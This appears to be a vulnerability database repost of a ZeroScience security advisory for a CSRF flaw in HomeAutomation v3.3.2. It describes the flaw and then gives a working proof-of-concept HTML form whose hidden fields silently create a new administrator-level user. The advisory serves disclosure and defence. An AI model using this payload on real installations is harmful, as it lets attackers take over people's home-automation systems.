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HomeAutomation v3.3.2 CSRF Add Admin Exploit

🗓️ 29 Dec 2019 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 66 Views

HomeAutomation v3.3.2 CSRF Add Admin Exploit. Open-source web interface and scheduling solution. Allows performing actions via HTTP requests without checks. Allows malicious web site to execute actions with administrative privileges

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<html><body><p>HomeAutomation v3.3.2 CSRF Add Admin Exploit


Vendor: Tom Rosenback and Daniel Malmgren
Product web page: http://karpero.mine.nu/ha/
Affected version: 3.3.2

Summary: HomeAutomation is an open-source web interface and scheduling solution.
It was initially made for use with the Telldus TellStick, but is now based on a
plugin system and except for Tellstick it also comes with support for Crestron,
OWFS and Z-Wave (using OpenZWave). It controls your devices (switches, dimmers,
etc.) based on an advanced scheduling system, taking into account things like
measurements from various sensors. With the houseplan view you can get a simple
overview of the status of your devices at their location in your house.

Desc: The application interface allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the requests. This can
be exploited to perform certain actions with administrative privileges if a logged-in
user visits a malicious web site.

Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
           Apache/2.4.29 (Ubuntu)
           PHP/7.4.0RC4
           PHP/7.3.11
           PHP 7.2.24-0ubuntu0.18.04.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5558
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5558.php


06.11.2019

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  </p>
<form action="http://localhost/homeautomation_v3_3_2/?page=conf-usercontrol" method="POST">
<input name="id" type="hidden" value="-1"/>
<input name="action" type="hidden" value="save"/>
<input name="editable" type="hidden" value="2"/>
<input name="username" type="hidden" value="testingus"/>
<input name="password" type="hidden" value="123456"/>
<input name="firstname" type="hidden" value="Tester"/>
<input name="lastname" type="hidden" value="Testovski"/>
<input name="email" type="hidden" value="[email protected]"/>
<input name="userlevel" type="hidden" value="3"/>
<input name="save" type="hidden" value="Save"/>
<input type="submit" value="Addmoi"/>
</form>
</body></html>

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29 Dec 2019 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 26.8
CVSS 3.18.8
EPSS0.00169
66